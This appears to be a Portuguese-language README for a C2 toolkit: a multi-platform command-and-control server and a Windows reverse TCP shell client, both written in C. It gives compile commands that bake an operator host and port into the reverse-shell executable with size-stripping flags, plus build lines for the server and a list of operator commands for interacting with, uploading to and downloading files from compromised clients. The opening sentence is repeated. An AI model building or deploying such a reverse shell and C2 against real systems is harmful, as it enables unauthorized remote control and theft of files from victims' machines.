
Servidor c2 multi-threaded, multi-SO/plataforma (Linux/Windows) e cliente de shell TCP reverso para Windows, ambos escritos em C.
Servidor c2 multi-thread, multi-SO/plataforma (Linux/Windows) e cliente reverse TCP shell para Windows, ambos escritos em C.
Compilando o cliente reverse TCP shell com i686-w64-mingw32-gcc:
i686-w64-mingw32-gcc sakito_revshell.c lib/windows/sakito_win_core.c -o sakito_revshell.exe -s -ffunction-sections -fdata-sections -fno-exceptions -fmerge-all-constants -static-libgcc -lws2_32 -D PORT=<port_number> -D HOST=\"<server_ipv4_address>\"
Compilando o reverse TCP shell com cl.exe no prompt de comando do desenvolvedor:
cl.exe sakito_revshell.c lib/windows/sakito_win_core.c /D PORT=<port_number> /D HOST=\"<server_ipv4_address>\"
Compilando o servidor Linux com GCC:
gcc -pthread sakito_server.c lib/sakito_server_tools.c lib/linux/sakito_slin_utils.c -o sakito_server -D PORT=<port_number>
Compilando o servidor Windows com cl.exe no prompt de comando do desenvolvedor:
cl.exe sakito_server.c lib/windows/sakito_win_core.c lib/sakito_server_tools.c lib/windows/sakito_swin_utils.c /D PORT=<port_number>
Lista de comandos:
list: lista as conexões disponíveis.
interact [id]: interaja com o cliente.
download [nome_arquivo]: baixa um arquivo do sistema de arquivos do cliente para o servidor.
upload [nome_arquivo]: envia um arquivo do sistema de arquivos do servidor para o cliente.
background: coloca o cliente em segundo plano.
exit: encerra o cliente ou o servidor.
cd [dir]: muda o diretório no cliente ou servidor.